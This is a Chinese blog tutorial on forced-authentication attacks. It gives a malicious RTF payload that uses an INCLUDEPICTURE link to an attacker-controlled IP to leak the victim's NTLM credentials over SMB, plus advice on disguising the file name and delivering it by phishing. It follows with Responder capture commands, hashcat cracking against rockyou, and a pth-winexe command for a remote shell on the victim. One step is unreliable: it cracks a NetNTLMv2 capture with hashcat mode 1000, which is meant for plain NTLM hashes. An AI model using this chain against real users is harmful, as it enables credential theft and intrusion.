强制认证1——恶意的RTF文件

2021-09-23  本文已影响0人  走错说爱你

最近对强制认证技术进行了研究与复现,这里做个记录。

环境

攻击机:

靶机:

背景&原理

首先介绍一些概念:

借助以上技术,攻击者可以通过强制 SMB/WebDAV 身份验证访问用户帐户哈希。 攻击者可以通过网络钓鱼向用户发送附件,其中包含指向攻击者控制的外部服务器的资源链接(即模板注入),或者将特制文件放置在特权帐户的导航路径上(例如放置在桌面上的.SCF文件)或在受害者可以访问的公共可访问共享上。 当用户的系统访问不受信任的资源时,它将尝试进行身份验证并将信息(包括用户的散列凭据)通过 SMB 发送到对手控制的服务器。通过访问凭证的哈希,攻击者可以执行离线暴力破解以获得对明文凭证的访问权限。

实施攻击

恶意的RTF文件制造

首先,制作一个恶意的RTF文件。

新建一个TXT文件并打开,复制粘贴以下内容到文件中:

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://攻击机IP地址/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

保存之后,将该文件重命名为evil.rtf(这里名字仅为演示,实际场景可以使用更加具有迷惑性的名字,但后缀一定要为rtf
RTF文件可以使用形如上文代码的形式对文档内容进行书写,上文中使用INCLUDEPICTURE来引入外部资源,当系统请求资源时,将会把当前用户的认证信息发给远端的IP地址以进行认证

发送钓鱼文件

可以使用钓鱼邮件发送给受害者,也可以适当进行包装,通过通讯软件发给受害者,例如:


发送钓鱼文件

密码窃取

打开kali,输入命令查看当前通信标识符:

ifconfig

然后以下命令开启监听(其中的eth1则为刚刚查看的标识符):

responder -I eth1 -v

当受害者双击打开rtf文档后,收到用户的凭证信息:
(此处应有图)

通过图片不难看出,当前用户名为:XX

密码的hash为:
(图)

密码破解

拿到的并不是密码的明文,因此,还需要将其进行解码才可查看。
打开kali,输入以下命令:

cd /usr/share/responder/logs/
ls

查看之前responder输出的日志名:
(图)

然后运行命令:

cd /usr/share/wordlists/
ls

查看密码字典是否为txt,如果不是的话执行以下命令将gz后缀的文件解压为txt:

gzip -d rockyou.txt.gz

然后,运行以下命令,使用hashcat破解密码:

hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP-XXX.txt /usr/share/wordlists/rockyou.txt --force

然而,经过实际操作,发现该命令无法执行,报错显示:

Hash '/usr/share/responder/logs/SMBv2-NTLMv2-SSP-xxxxx.txt': Separator unmatched
No hashes loaded.

因此,直接到日志文件里提取hash值,使用以下命令执行:

hashcat -m1000 hash值 /usr/share/wordlists/rockyou.txt --force

然后等待完成破解即可

密码利用

打开kali,输入以下命令:

pth-winexe //受害者ip -U 用户名%密码 cmd

然后就进入到了目标的cmd窗口,就可以为所欲为了。

上一篇 下一篇

猜你喜欢

热点阅读